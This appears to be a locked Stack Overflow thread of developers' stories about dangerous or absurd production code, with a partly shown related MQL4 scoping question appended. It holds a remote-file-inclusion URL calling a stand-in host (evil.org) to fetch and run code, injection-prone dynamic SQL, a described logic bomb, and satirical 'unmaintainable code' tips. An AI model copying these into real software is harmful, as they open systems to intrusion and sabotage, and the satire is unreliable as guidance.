What is the most EVIL code you have ever seen in a production enterprise environment? [closed] - anti-patterns

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 11 years ago.
Locked. This question and its answers are locked because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions.
What is the most evil or dangerous code fragment you have ever seen in a production environment at a company? I've never encountered production code that I would consider to be deliberately malicious and evil, so I'm quite curious to see what others have found.
The most dangerous code I have ever seen was a stored procedure two linked-servers away from our core production database server. The stored procedure accepted any NVARCHAR(8000) parameter and executed the parameter on the target production server via an double-jump sp_executeSQL command. That is to say, the sp_executeSQL command executed another sp_executeSQL command in order to jump two linked servers. Oh, and the linked server account had sysadmin rights on the target production server.

Warning: Long scary post ahead
I've written about one application I've worked on before here and here. To put it simply, my company inherited 130,000 lines of garbage from India. The application was written in C#; it was a teller app, the same kind of software tellers use behind the counter whenever you go to the bank. The app crashed 40-50 times a day, and it simply couldn't be refactored into working code. My company had to re-write the entire app over the course of 12 months.
Why is this application evil? Because the sight of the source code was enough to drive a sane man mad and a mad man sane. The twisted logic used to write this application could have only been inspired by a Lovecraftian nightmare. Unique features of this application included:
Out of 130,000 lines of code, the entire application contained 5 classes (excluding form files). All of these were public static classes. One class was called Globals.cs, which contained 1000s and 1000s and 1000s of public static variables used to hold the entire state of the application. Those five classes contained 20,000 lines of code total, with the remaining code embedded in the forms.
You have to wonder, how did the programmers manage to write such a big application without any classes? What did they use to represent their data objects? It turns out the programmers managed to re-invent half of the concepts we all learned about OOP simply by combining ArrayLists, HashTables, and DataTables. We saw a lot of this:
ArrayLists of hashtables
Hashtables with string keys and DataRow values
ArrayLists of DataTables
DataRows containing ArrayLists which contained HashTables
ArrayLists of DataRows
ArrayLists of ArrayLists
HashTables with string keys and HashTable values
ArrayLists of ArrayLists of HashTables
Every other combination of ArrayLists, HashTables, DataTables you can think of.
Keep in mind, none of the data structures above are strongly typed, so you have to cast whatever mystery object you get out of the list to the correct type. It's amazing what kind of complex, Rube Goldberg-like data structures you can create using just ArrayLists, HashTables, and DataTables.
To share an example of how to use the object model detailed above, consider Accounts: the original programmer created a seperate HashTable for each concievable property of an account: a HashTable called hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. The keys for all of those hashtables was a “|” separated string. Conceivable keys included “123456|DDA”, “24100|SVG”, “100|LNS”, etc.
Since the state of the entire application was readily accessible from global variables, the programmers found it unnecessary to pass parameters to methods. I'd say 90% of methods took 0 parameters. Of the few which did, all parameters were passed as strings for convenience, regardless of what the string represented.
Side-effect free functions did not exist. Every method modified 1 or more variables in the Globals class. Not all side-effects made sense; for example, one of the form validation methods had a mysterious side effect of calculating over and short payments on loans for whatever account was stored Globals.lngAcctNum.
Although there were lots of forms, there was one form to rule them all: frmMain.cs, which contained a whopping 20,000 lines of code. What did frmMain do? Everything. It looked up accounts, printed receipts, dispensed cash, it did everything.
Sometimes other forms needed to call methods on frmMain. Rather than factor that code out of the form into a seperate class, why not just invoke the code directly:
((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
To look up accounts, the programmers did something like this:
bool blnAccountExists =
new frmAccounts().GetAccountInfo().blnAccountExists
As bad as it already is creating an invisible form to perform business logic, how do you think the form knew which account to look up? That’s easy: the form could access Globals.lngAcctNum and Globals.strAcctType. (Who doesn't love Hungarian notation?)
Code-reuse was a synonym for ctrl-c, ctrl-v. I found 200-line methods copy/pasted across 20 forms.
The application had a bizarre threading model, something I like to call the thread-and-timer model: each form that spawned a thread had a timer on it. Each thread that was spawned kicked off a timer which had a 200 ms delay; once the timer started, it would check to see if the thread had set some magic boolean, then it would abort the thread. The resulting ThreadAbortException was swallowed.
You'd think you'd only see this pattern once, but I found it in at least 10 different places.
Speaking of threads, the keyword "lock" never appeared in the application. Threads manipulated global state freely without taking a lock.
Every method in the application contained a try/catch block. Every exception was logged and swallowed.
Who needs to switch on enums when switching on strings is just as easy!
Some genius figured out that you can hook multiple form controls up to the same event handler. How did the programmer handle this?
private void OperationButton_Click(object sender, EventArgs e)
{
Button btn = (Button)sender;
if (blnModeIsAddMc)
{
AddMcOperationKeyPress(btn);
}
else
{
string strToBeAppendedLater = string.Empty;
if (btn.Name != "btnBS")
{
UpdateText();
}
if (txtEdit.Text.Trim() != "Error")
{
SaveFormState();
}
switch (btn.Name)
{
case "btnC":
ResetValues();
break;
case "btnCE":
txtEdit.Text = "0";
break;
case "btnBS":
if (!blnStartedNew)
{
string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
DisplayValue((EditText == string.Empty) ? "0" : EditText);
}
break;
case "btnPercent":
blnAfterOp = true;
if (GetValueDecimal(txtEdit.Text, out decCurrValue))
{
AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
decCurrValue = decResultValue * decCurrValue / intFormatFactor;
DisplayValue(GetValueString(decCurrValue));
AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
+ strOpPressed.PadRight(3);
if (arrLstTapeHist.Count == 0)
{
arrLstTapeHist.Add(strToBeAppendedLater);
}
blnEqualOccurred = false;
blnStartedNew = true;
}
break;
case "btnAdd":
case "btnSubtract":
case "btnMultiply":
case "btnDivide":
blnAfterOp = true;
if (txtEdit.Text.Trim() == "Error")
{
btnC.PerformClick();
return;
}
if (blnNumPressed || blnEqualOccurred)
{
if (GetValueDecimal(txtEdit.Text, out decCurrValue))
{
if (Operation())
{
AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
DisplayValue(GetValueString(decResultValue));
}
else
{
AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
DisplayValue("Error");
}
strOpPressed = btn.Text;
blnEqualOccurred = false;
blnNumPressed = false;
}
}
else
{
strOpPressed = btn.Text;
AddToTape(GetValueString(0), (string)btn.Text, false, false);
}
if (txtEdit.Text.Trim() == "Error")
{
AddToTape("Error", string.Empty, true, true);
btnC.PerformClick();
txtEdit.Text = "Error";
}
break;
case "btnEqual":
blnAfterOp = false;
if (strOpPressed != string.Empty || strPrevOp != string.Empty)
{
if (GetValueDecimal(txtEdit.Text, out decCurrValue))
{
if (OperationEqual())
{
DisplayValue(GetValueString(decResultValue));
}
else
{
DisplayValue("Error");
}
if (!blnEqualOccurred)
{
strPrevOp = strOpPressed;
decHistValue = decCurrValue;
blnNumPressed = false;
blnEqualOccurred = true;
}
strOpPressed = string.Empty;
}
}
break;
case "btnSign":
GetValueDecimal(txtEdit.Text, out decCurrValue);
DisplayValue(GetValueString(-1 * decCurrValue));
break;
}
}
}
The same genius also discovered the glorious ternary operator. Here are some code samples:
frmTranHist.cs [line 812]:
strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
: chkDebits.Checked ? "D"
: chkCredits.Checked ? "C"
: "N";
frmTellTransHist.cs [line 961]:
if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
frmMain.TellCash.cs [line 727]:
if (Validations(parPostMode == "ADD" ? true : false))
Here's a code snippet which demonstrates the typical misuse of the StringBuilder. Note how the programmer concats a string in a loop, then appends the resulting string to the StringBuilder:
private string CreateGridString()
{
string strTemp = string.Empty;
StringBuilder strBuild = new StringBuilder();
foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
{
strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
strTemp += " ";
strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
strTemp += " ";
strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
strTemp += " ";
strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
strTemp += " ";
strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
strTemp += " ";
strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
strBuild.AppendLine(strTemp);
}
strCreateGridString = strBuild.ToString();
return strCreateGridString;//strBuild.ToString();
}
No primary keys, indexes, or foreign key constraints existed on tables, nearly all fields were of type varchar(50), and 100% of fields were nullable. Interestingly, bit fields were not used to store boolean data; instead a char(1) field was used, and the characters 'Y' and 'N' used to represent true and false respectively.
Speaking of the database, here's a representative example of a stored procedure:
ALTER PROCEDURE [dbo].[Get_TransHist]
(
#TellerID int = null,
#CashDrawer int = null,
#AcctNum bigint = null,
#StartDate datetime = null,
#EndDate datetime = null,
#StartTranAmt decimal(18,2) = null,
#EndTranAmt decimal(18,2) = null,
#TranCode int = null,
#TranType int = null
)
AS
declare #WhereCond Varchar(1000)
declare #strQuery Varchar(2000)
Set #WhereCond = ' '
Set #strQuery = ' '
If not #TellerID is null
Set #WhereCond = #WhereCond + ' AND TT.TellerID = ' + Cast(#TellerID as varchar)
If not #CashDrawer is null
Set #WhereCond = #WhereCond + ' AND TT.CDId = ' + Cast(#CashDrawer as varchar)
If not #AcctNum is null
Set #WhereCond = #WhereCond + ' AND TT.AcctNbr = ' + Cast(#AcctNum as varchar)
If not #StartDate is null
Set #WhereCond = #WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,#StartDate,121) + ''''
If not #EndDate is null
Set #WhereCond = #WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,#EndDate,121) + ''''
If not #TranCode is null
Set #WhereCond = #WhereCond + ' AND TT.TranCode = ' + Cast(#TranCode as varchar)
If not #EndTranAmt is null
Set #WhereCond = #WhereCond + ' AND TT.TranAmt <= ' + Cast(#EndTranAmt as varchar)
If not #StartTranAmt is null
Set #WhereCond = #WhereCond + ' AND TT.TranAmt >= ' + Cast(#StartTranAmt as varchar)
If not (#TranType is null or #TranType = -1)
Set #WhereCond = #WhereCond + ' AND TT.DocType = ' + Cast(#TranType as varchar)
--Get the Teller Transaction Records according to the filters
Set #strQuery = 'SELECT
TT.TranAmt as [Transaction Amount],
TT.TranCode as [Transaction Code],
RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
TT.AcctNbr as [Account Number],
TT.TranID as [Transaction Number],
Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
Convert(varchar,TT.EffDate,101) as [Effective Date],
Convert(varchar,TT.PostDate,101) as [Post Date],
Convert(varchar,TT.ActivityDateTime,108) as [Time],
TT.BatchID,
TT.ItemID,
isnull(TT.DocumentID, 0) as DocumentID,
TT.TellerName,
TT.CDId,
TT.ChkNbr,
RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
(CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
DispensedYN
FROM TellerTrans TT WITH (NOLOCK)
LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
WHERE IsNull(TT.DeletedYN, 0) = 0 ' + #WhereCond + ' Order By BatchId, TranID, ItemID'
Exec (#strQuery)
With all that said, the single biggest problem with this 130,000 line application this: no unit tests.
Yes, I have sent this story to TheDailyWTF, and then I quit my job.

In a system which took credit card payments we used to store the full credit card number along with name, expiration date etc.
Turns out this is illegal, which is ironic given the we were writing the program for the Justice Department at the time.

I've seen a password encryption function like this
function EncryptPassword($password)
{
return base64_encode($password);
}

This was the error handling routine in a piece of commercial code:
/* FIXME! */
while (TRUE)
;
I was supposed to find out why "the app keeps locking up".

Combination of all of the following Php 'Features' at once.
Register Globals
Variable Variables
Inclusion of remote files and code via include("http:// ... ");
Really Horrific Array/Variable names ( Literal example ):
foreach( $variablesarry as $variablearry ){
include( $$variablearry );
}
( I literally spent an hour trying to work out how that worked before I realised they wern't the same variable )
Include 50 files, which each include 50 files, and stuff is performed linearly/procedurally across all 50 files in conditional and unpredictable ways.
For those who don't know variable variables:
$x = "hello";
$$x = "world";
print $hello # "world" ;
Now consider $x contains a value from your URL ( register globals magic ), so nowhere in your code is it obvious what variable your working with becuase its all determined by the url.
Now consider what happens when the contents of that variable can be a url specified by the websites user.
Yes, this may not make sense to you, but it creates a variable named that url, ie:
$http://google.com,
except it cant be directly accessed, you have to use it via the double $ technique above.
Additionally, when its possible for a user to specify a variable on the URL which indicates which file to include, there are nasty tricks like
http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php
and if that variable turns up in include($include)
and 'evilcode.php' prints its code plaintext, and Php is inappropriately secured, php will just trundle off, download evilcode.php, and execute it as the user of the web-server.
The web-sever will give it all its permissions etc, permiting shell calls, downloading arbitrary binaries and running them, etc etc, until eventually you wonder why you have a box running out of disk space, and one dir has 8GB of pirated movies with italian dubbing, being shared on IRC via a bot.
I'm just thankful I discovered that atrocity before the script running the attack decided to do something really dangerous like harvest extremely confidential information from the more or less unsecured database :|
( I could entertain the dailywtf every day for 6 months with that codebase, I kid you not. Its just a shame I discovered the dailywtf after I escaped that code )

In the main project header file, from an old-hand COBOL programmer, who was inexplicably writing a compiler in C:
int i, j, k;
"So you won't get a compiler error if you forget to declare your loop variables."

The Windows installer.

This article How to Write Unmaintainable Code covers some of the most brilliant techniques known to man. Some of my favorite ones are:
New Uses For Names For Baby
Buy a copy of a baby naming book and you'll never be at a loss for variable names. Fred is a wonderful name, and easy to type. If you're looking for easy-to-type variable names, try adsf or aoeu if you type with a DSK keyboard.
Creative Miss-spelling
If you must use descriptive variable and function names, misspell them. By misspelling in some function and variable names, and spelling it correctly in others (such as SetPintleOpening SetPintalClosing) we effectively negate the use of grep or IDE search techniques. It works amazingly well. Add an international flavor by spelling tory or tori in different theatres/theaters.
Be Abstract
In naming functions and variables, make heavy use of abstract words like it, everything, data, handle, stuff, do, routine, perform and the digits e.g. routineX48, PerformDataFunction, DoIt, HandleStuff and do_args_method.
CapiTaliSaTion
Randomly capitalize the first letter of a syllable in the middle of a word. For example ComputeRasterHistoGram().
Lower Case l Looks a Lot Like the Digit 1
Use lower case l to indicate long constants. e.g. 10l is more likely to be mistaken for 101 that 10L is. Ban any fonts that clearly disambiguate uvw wW gq9 2z 5s il17|!j oO08 `'" ;,. m nn rn {[()]}. Be creative.
Recycle Your Variables
Wherever scope rules permit, reuse existing unrelated variable names. Similarly, use the same temporary variable for two unrelated purposes (purporting to save stack slots). For a fiendish variant, morph the variable, for example, assign a value to a variable at the top of a very long method, and then somewhere in the middle, change the meaning of the variable in a subtle way, such as converting it from a 0-based coordinate to a 1-based coordinate. Be certain not to document this change in meaning.
Cd wrttn wtht vwls s mch trsr
When using abbreviations inside variable or method names, break the boredom with several variants for the same word, and even spell it out longhand once in while. This helps defeat those lazy bums who use text search to understand only some aspect of your program. Consider variant spellings as a variant on the ploy, e.g. mixing International colour, with American color and dude-speak kulerz. If you spell out names in full, there is only one possible way to spell each name. These are too easy for the maintenance programmer to remember. Because there are so many different ways to abbreviate a word, with abbreviations, you can have several different variables that all have the same apparent purpose. As an added bonus, the maintenance programmer might not even notice they are separate variables.
Obscure film references
Use constant names like LancelotsFavouriteColour instead of blue and assign it hex value of $0204FB. The color looks identical to pure blue on the screen, and a maintenance programmer would have to work out 0204FB (or use some graphic tool) to know what it looks like. Only someone intimately familiar with Monty Python and the Holy Grail would know that Lancelot's favorite color was blue. If a maintenance programmer can't quote entire Monty Python movies from memory, he or she has no business being a programmer.
Document the obvious
Pepper the code with comments like /* add 1 to i */ however, never document wooly stuff like the overall purpose of the package or method.
Document How Not Why
Document only the details of what a program does, not what it is attempting to accomplish. That way, if there is a bug, the fixer will have no clue what the code should be doing.
Side Effects
In C, functions are supposed to be idempotent, (without side effects). I hope that hint is sufficient.
Use Octal
Smuggle octal literals into a list of decimal numbers like this:
array = new int []
{
111,
120,
013,
121,
};
Extended ASCII
Extended ASCII characters are perfectly valid as variable names, including ß, Ð, and ñ characters. They are almost impossible to type without copying/pasting in a simple text editor.
Names From Other Languages
Use foreign language dictionaries as a source for variable names. For example, use the German punkt for point. Maintenance coders, without your firm grasp of German, will enjoy the multicultural experience of deciphering the meaning.
Names From Mathematics
Choose variable names that masquerade as mathematical operators, e.g.:
openParen = (slash + asterix) / equals;
Code That Masquerades As Comments and Vice Versa
Include sections of code that is commented out but at first glance does not appear to be.
for(j=0; j<array_len; j+ =8)
{
total += array[j+0 ];
total += array[j+1 ];
total += array[j+2 ]; /* Main body of
total += array[j+3]; * loop is unrolled
total += array[j+4]; * for greater speed.
total += array[j+5]; */
total += array[j+6 ];
total += array[j+7 ];
}
Without the colour coding would you notice that three lines of code are commented out?
Arbitrary Names That Masquerade as Keywords
When documenting, and you need an arbitrary name to represent a filename use "file ". Never use an obviously arbitrary name like "Charlie.dat" or "Frodo.txt". In general, in your examples, use arbitrary names that sound as much like reserved keywords as possible. For example, good names for parameters or variables would be"bank", "blank", "class", "const ", "constant", "input", "key", "keyword", "kind", "output", "parameter" "parm", "system", "type", "value", "var" and "variable ". If you use actual reserved words for your arbitrary names, which would be rejected by your command processor or compiler, so much the better. If you do this well, the users will be hopelessly confused between reserved keywords and arbitrary names in your example, but you can look innocent, claiming you did it to help them associate the appropriate purpose with each variable.
Code Names Must Not Match Screen Names
Choose your variable names to have absolutely no relation to the labels used when such variables are displayed on the screen. E.g. on the screen label the field "Postal Code" but in the code call the associated variable "zip".
Choosing The Best Overload Operator
In C++, overload +,-,*,/ to do things totally unrelated to addition, subtraction etc. After all, if the Stroustroup can use the shift operator to do I/O, why should you not be equally creative? If you overload +, make sure you do it in a way that i = i + 5; has a totally different meaning from i += 5; Here is an example of elevating overloading operator obfuscation to a high art. Overload the '!' operator for a class, but have the overload have nothing to do with inverting or negating. Make it return an integer. Then, in order to get a logical value for it, you must use '! !'. However, this inverts the logic, so [drum roll] you must use '! ! !'. Don't confuse the ! operator, which returns a boolean 0 or 1, with the ~ bitwise logical negation operator.
Exceptions
I am going to let you in on a little-known coding secret. Exceptions are a pain in the behind. Properly-written code never fails, so exceptions are actually unnecessary. Don't waste time on them. Subclassing exceptions is for incompetents who know their code will fail. You can greatly simplify your program by having only a single try/catch in the entire application (in main) that calls System.exit(). Just stick a perfectly standard set of throws on every method header whether they could actually throw any exceptions or not.
Magic Matrix Locations
Use special values in certain matrix locations as flags. A good choice is the [3][0] element in a transformation matrix used with a homogeneous coordinate system.
Magic Array Slots revisited
If you need several variables of a given type, just define an array of them, then access them by number. Pick a numbering convention that only you know and don't document it. And don't bother to define #define constants for the indexes. Everybody should just know that the global variable widget[15] is the cancel button. This is just an up-to-date variant on using absolute numerical addresses in assembler code.
Never Beautify
Never use an automated source code tidier (beautifier) to keep your code aligned. Lobby to have them banned them from your company on the grounds they create false deltas in PVCS/CVS (version control tracking) or that every programmer should have his own indenting style held forever sacrosanct for any module he wrote. Insist that other programmers observe those idiosyncratic conventions in "his " modules. Banning beautifiers is quite easy, even though they save the millions of keystrokes doing manual alignment and days wasted misinterpreting poorly aligned code. Just insist that everyone use the same tidied format, not just for storing in the common repository, but also while they are editing. This starts an RWAR and the boss, to keep the peace, will ban automated tidying. Without automated tidying, you are now free to accidentally misalign the code to give the optical illusion that bodies of loops and ifs are longer or shorter than they really are, or that else clauses match a different if than they really do. e.g.
if(a)
if(b) x=y;
else x=z;
Testing is for cowards
A brave coder will bypass that step. Too many programmers are afraid of their boss, afraid of losing their job, afraid of customer hate mail and afraid of being sued. This fear paralyzes action, and reduces productivity. Studies have shown that eliminating the test phase means that managers can set ship dates well in advance, an obvious aid in the planning process. With fear gone, innovation and experimentation can blossom. The role of the programmer is to produce code, and debugging can be done by a cooperative effort on the part of the help desk and the legacy maintenance group.
If we have full confidence in our coding ability, then testing will be unnecessary. If we look at this logically, then any fool can recognise that testing does not even attempt to solve a technical problem, rather, this is a problem of emotional confidence. A more efficient solution to this lack of confidence issue is to eliminate testing completely and send our programmers to self-esteem courses. After all, if we choose to do testing, then we have to test every program change, but we only need to send the programmers to one course on building self-esteem. The cost benefit is as amazing as it is obvious.
Reverse the Usual True False Convention
Reverse the usual definitions of true and false. Sounds very obvious but it works great. You can hide:
#define TRUE 0
#define FALSE 1
somewhere deep in the code so that it is dredged up from the bowels of the program from some file that noone ever looks at anymore. Then force the program to do comparisons like:
if ( var == TRUE )
if ( var != FALSE )
someone is bound to "correct" the apparent redundancy, and use var elsewhere in the usual way:
if ( var )
Another technique is to make TRUE and FALSE have the same value, though most would consider that out and out cheating. Using values 1 and 2 or -1 and 0 is a more subtle way to trip people up and still look respectable. You can use this same technique in Java by defining a static constant called TRUE. Programmers might be more suspicious you are up to no good since there is a built-in literal true in Java.
Exploit Schizophrenia
Java is schizophrenic about array declarations. You can do them the old C, way String x[], (which uses mixed pre-postfix notation) or the new way String[] x, which uses pure prefix notation. If you want to really confuse people, mix the notationse.g.
byte[ ] rowvector, colvector , matrix[ ];
which is equivalent to:
byte[ ] rowvector;
byte[ ] colvector;
byte[ ][] matrix;

I don't know if I'd call the code "evil", but we had a developer who would create Object[] arrays instead of writing classes. Everywhere.

I have seen (and posted to thedailywtf) code that will give everyone to have administrator rights in significant part of an application on Tuesdays. I guess the original developer forgot to remove the code after local machine testing.

I don't know if this is "evil" so much as misguided (I recently posted it on The Old New Thing):
I knew one guy who loved to store information as delimited strings. He was familiar with the concept of arrays, as shown when he used arrays of delimited strings, but the light bulb never lit up.

Base 36 encoding to store ints in strings.
I guess the theory goes somewhat along the lines of:
Hexadecimal is used to represent numbers
Hexadecimal doesnt use letters beyond F, meaning G-Z are wasted
Waste is bad
At this moment I am working with a database that is storing the days of the week that an event can happen on as a 7-bit bitfield (0-127), stored in the database as a 2-character string ranging from '0' to '3J'.

I remember seeing a login handler that took a post request, and redirected to a GET with the user name and password passed in as parameters. This was for an "enterprise class" medical system.
I noticed this while checking some logs - I was very tempted to send the CEO his password.

Really evil was this piece of brilliant delphi code:
type
TMyClass = class
private
FField : Integer;
public
procedure DoSomething;
end;
var
myclass : TMyClass;
procedure TMyClass.DoSomething;
begin
myclass.FField := xxx; //
end;
It worked great if there was only one instance of a class. But unfortunately I had to use an other instance and that created lots of interesting bugs.
When I found this jewel, I can't remember if I fainted or screamed, probably both.

Maybe not evil, but certainly rather, um... misguided.
I once had to rewrite a "natural language parser" that was implemented as a single 5,000 line if...then statement.
as in...
if (text == "hello" || text == "hi")
response = "hello";
else if (text == "goodbye")
response = "bye";
else
...

I saw code in an ASP.NET MVC site from a guy who had only done web forms before (and is a renowned copy/paster!) that stuck a client side click event on an <a> tag that called a javascript method that did a document.location.
I tried to explain that a href on the <a> tag would do the same!!!

A little evil...someone I know wrote into the main internal company web app, a daily check to see if he has logged into the system in the past 10 days. If there's no record of him logged in, it disables the app for everyone in the company.
He wrote the piece once he heard rumors of layoffs, and if he was going down, the company would have to suffer.
The only reason I knew about it, is that he took a 2 week vacation & I called him when the site crapped out. He told me to log on with his username/password...and all was fine again.
Of course..months later we all got laid off.

My colleague likes to recall that ASP.NET application which used a public static database connection for all database work.
Yes, one connection for all requests. And no, there was no locking done either.

I remember having to setup IIS 3 to run Perl CGI scripts (yes, that was a looong time ago). The official recommendation at that time was to put Perl.exe in cgi-bin. It worked, but it also gave everyone access to a pretty powerful scripting engine!

Any RFC 3514-compliant program which sets the evil bit.

SQL queries right there in javascript in an ASP application. Can't get any dirtier...

We had an application that loaded all of it's global state in an xml file. No problem with that, except that the developer had created a new form of recursion.
<settings>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
Then comes the fun part. When the application loads, it runs through the list of properties and adds them to a global (flat) list, along with incrementing a mystery counter. The mystery counter is named something totally irrelevant and is used in mystery calculations:
List properties = new List();
Node<-root
while node.hasNode("property")
add to properties list
my_global_variable++;
if hasNode("property")
node=getNode("property"), ... etc etc
And then you get functions like
calculateSumOfCombinations(int x, int y){
return x+y+my_global_variable;
}
edit: clarification - Took me a long time to figure out that he was counting the depth of the recursion, because at level 6 or 7 the properties changed meaning, so he was using the counter to split his flat set into 2 sets of different types, kind of like having a list of STATE, STATE, STATE, CITY, CITY, CITY and checking if the index > counter to see if your name is a city or state)

Instead of writing a Windows service for a server process that needed to run constantly one of our "architects" wrote a console app and used the task scheduler to run it every 60 seconds.
Keep in mind this is in .NET where services are very easy to create.
--
Also, at the same place a console app was used to host a .NET remoting service, so they had to start the console app and lock a session to keep it running every time the server was rebooted.
--
At the last place I worked one of the architects had a single C# source code file with over 100 classes that was something like 250K in size.

32 source code files with more then 10K lines of code each. Each contained one class. Each class contained one method that did "everything"
That was real nightmare for debuging that code before I had to refactor that.

At an earlier workplace, we inherited a legacy project, which partially had been outsorced earlier. The main app was Java, the outsourced part was a native C library. Once I had a look at the C source files. I listed the contents of the directory. There were several source files over 200K in size. The biggest C file was 600 Kbytes.
Thank God I never had to actually touch them :-)

I was given a set of programs to advance while colleagues were abroad at a customer (installing said programs). One key library came up in every program, and trying to figure out the code, I realised that there were tiny differences from one program to the next. In a common library.
Realising this, I ran a text comparison of all copies. Out of 16, I think there were about 9 unique ones. I threw a bit of a fit.
The boss intervened and had the colleagues collate a version that was seemingly universal. They sent the code by e-mail. Unknown to me, there were strings with unprintable characters in there, and some mixed encodings. The e-mail garbled it pretty bad.
The unprintable characters were used to send out data (all strings!) from a server to a client. All strings were thus separated by the 0x03 character on the server-side, and re-assembled client-side in C# using the Split function.
The somwehat sane way would have been to do:
someVariable.Split(Convert.ToChar(0x03);
The saner and friendly way would have been to use a constant:
private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);
The EVIL way was what my colleagues chose: use whatever "prints" for 0x03 in Visual Studio and put that between quotes:
someVariable.Split('/*unprintable character*/');
Furthermore, in this library (and all the related programs), not a single variable was local (I checked!). Functions were designed to either recuperate the same variables once it was deemed safe to waste them, or to create new ones which would live on for all the duration of the process. I printed out several pages and colour coded them. Yellow meant "global, never changed by another function", Red meant "global, changed by several". Green would have been "local", but there was none.
Oh, did I mention control version? Because of course there was none.
ADD ON: I just remembered a function I discovered, not long ago.
Its purpose was to go through an array of arrays of intergers, and set each first and last item to 0. It went like this (not actual code, from memory, and more C#-esque):
FixAllArrays()
{
for (int idx = 0; idx < arrays.count- 1; idx++)
{
currArray = arrays[idx];
nextArray = arrays[idx+1];
SetFirstToZero(currArray);
SetLastToZero(nextArray);
//This is where the fun starts
if (idx == 0)
{
SetLastToZero(currArray);
}
if (idx == arrays.count- 1)
{
SetFirstToZero(nextArray);
}
}
}
Of course, the point was that every sub-array had to get this done, both operations, on all items. I'm just not sure how a programmer can decide on something like this.

Similar to what someone else mentioned above:
I worked in a place that had a pseudo-scripting language in the application. It fed into a massive method that had some 30 parameters and a giant Select Case statement.
It was time to add more parameters, but the guy on the team who had to do it realized that there were too many already.
His solution?
He added a single object parameter on the end, so he could pass in anything he wanted and then cast it.
I couldn't get out of that place fast enough.

Once after our client teams reported some weird problems, we noticed that two different versions of the application was pointing to the same database. (while deploying the new system to them, their database was upgraded, but everyone forgot to bring down their old system)
This was a miracle escape..
And since then, we have an automated build and deploy process, thankfully :-)

I think that it was a program which loaded a loop into the general purpose registers of a pdp-10 and then executed the code in those registers.
You could do that on a pdp-10. That doesn't mean that you should.
EDIT: at least this is to the best of my (sometimes quite shabby) recollection.

I had the deep misfortune of being involved in finding a rather insane behavior in a semi-custom database high-availability solution.
The core bits were unremarkable. Red Hat Enterprise Linux, MySQL, DRBD, and the Linux-HA stuff. The configuration, however, was maintained by a completely custom puppet-like system (unsurprisingly, there are many other examples of insanity resulting from this system).
It turns out that the system was checking the install.log file that Kickstart leaves in the root directory for part of the information it needed to create the DRBD configuration. This in itself is evil, of course. You don't pull configuration from a log file whose format is not actually defined. It gets worse, though.
It didn't store this data anywhere else, and every time it ran, which was every 60 seconds, it consulted install.log.
I'll just let you guess what happened the first time somebody decided to delete this otherwise useless log file.

Related

MQL4 "undeclared identifier" - how can I fix this issue?

I'm currently trying to learn a programming language called MQL4, which is used to write trading algorithms. It is very closely based on C++/C/C#, so anyone with knowledge of these languages should be able to help me out with this one.
I'm trying to create a very simple program which tells me the length of the upper and lower shadows (wicks) of the last periods candlestick. To do this, I've tried using the following code:
double bod1 = Close[1] - Open[1];
double absbod1 = MathAbs( bod1 );
if( bod1 >= 0 )
{
double uwick1 = High[1] - Close[1];
double lwick1 = Open[1] - Low[ 1];
}
else
{
double uwick1 = High[ 1] - Open[1];
double lwick1 = Close[1] - Low[ 1];
}
Alert( "Lower Wick: " , lwick1 , " Upper Wick: " , uwick1 );
Q1: Why does this give the following error message?
Q2: Can you not define variables within an if(){...} statement?
Q3: If not, how can I define a variable which depends on some other factor?
I mean, suppose that I wanted to define the variable var such that var = a OR var = b depending on whether a > b or not.
Q4: How would I do this, if not by using if(){...} statements, as shown above?
If that language is similar to c++ then you should define your variable before if block, ex:
double uwick1 = 0;
if(bod1 >=0)
{
uwick1 = High[1]-Close[1];
In languages similar to C++, a variable defined in a block only exists inside that block.
So in your code:
double bod1 = Close[1]-Open[1];
double absbod1 = MathAbs(bod1);
if(bod1 >=0)
{
double uwick1 = High[1]-Close[1];
double lwick1 = Open[1]-Low[1];
}
else
{
double uwick1 = High[1]-Open[1];
double lwick1 = Close[1]-Low[1];
}
Alert("Lower Wick: " , lwick1 , " Upper Wick: " , uwick1);
A uwick1 variable is defined in the if block and then goes out of scope. Another uwick1 variable is defined in the else block and then goes out of scope. Finally, the Alert call references a uwick1 variable, but there aren't any variables in scope with that name.
If you define the variables before the conditional:
